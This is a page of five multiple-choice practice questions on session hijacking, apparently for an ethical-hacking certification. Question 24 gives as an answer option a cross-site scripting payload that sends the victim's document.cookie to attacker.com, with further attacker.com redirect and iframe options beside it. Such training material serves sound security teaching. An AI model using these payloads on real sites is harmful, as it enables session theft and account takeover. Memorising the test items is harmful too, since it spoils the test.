Session Hijacking Techniques EHE Practice Questions (Page 5)

Questions 21–25

1. 21foundation · easy

   How can an attacker predict or guess a session ID to hijack a session?

   • ABy analyzing the session ID generation algorithm and exploiting weak randomness
   • BBy physically stealing the user's computer
   • CBy sending a specially crafted email to the user
   • DBy using a brute-force attack on the user's password
   Reveal Solution Discussion Select an answer first
2. 22foundation · easy

   What is a man-in-the-browser (MitB) attack?

   • AAn attack where the attacker forces the user to visit a malicious website
   • BAn attack where the attacker intercepts network traffic between the browser and server
   • CAn attack where the attacker guesses the session ID by brute force
   • DAn attack where malware in the victim's browser modifies web transactions in real time
   Reveal Solution Discussion Select an answer first
4. 23foundation · easy

   Which of the following best describes the impact of a successful session hijacking attack on a web application?

   • AThe attacker can only view the victim's session data but cannot modify it
   • BThe attacker can read the victim's password but cannot use the session
   • CThe attacker can only cause a denial of service for the victim
   • DThe attacker gains unauthorized access to the victim's session and can perform actions as the victim
   Reveal Solution Discussion Select an answer first
5. 24application · medium

   A penetration tester is assessing a web application that displays user-supplied comments without sanitization. The tester wants to demonstrate how an attacker could steal a victim's session cookie. Which payload would achieve this if the victim's browser executes it?

   • A<script>document.location='http://attacker.com/steal?c='+document.cookie</script>
   • B<meta http-equiv='refresh' content='0;url=http://attacker.com'>
   • C<iframe src='http://attacker.com/phish'></iframe>
   • D<img src='http://attacker.com/steal' onerror='alert(1)'>
   Reveal Solution Discussion Select an answer first
6. 25application · medium

   An attacker sends a victim a link that sets the victim's session ID to a value the attacker already knows. After the victim logs in, the attacker uses that known session ID to access the victim's account. Which defense would most effectively block this attack?

   • ARegenerate the session ID immediately after successful authentication
   • BSet the HttpOnly flag on the session cookie
   • CUse HTTPS for all pages
   • DShorten the session timeout
   Reveal Solution Discussion Select an answer first